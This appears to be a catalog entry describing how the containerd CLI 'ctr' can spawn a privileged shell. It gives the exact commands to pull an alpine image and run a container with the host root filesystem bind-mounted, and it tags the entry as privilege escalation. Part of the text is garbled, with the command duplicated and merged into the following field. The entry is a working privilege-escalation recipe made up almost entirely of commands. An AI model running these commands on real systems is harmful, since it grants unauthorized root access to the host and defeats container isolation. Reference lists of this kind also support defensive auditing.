containerd CLI, can spawn a privileged shell by running a container with host filesystem mount.
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest xctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest xSandbox: execFile · Timeout: 60s
security.privilege-escalation.shell Outputs
process.output Shell output
process_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 32 MB |
| Network | none |
| Disk I/O | low |
Spawn a privileged shell via ctr
ctr images pull docker.io/library/alpine:latest
ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x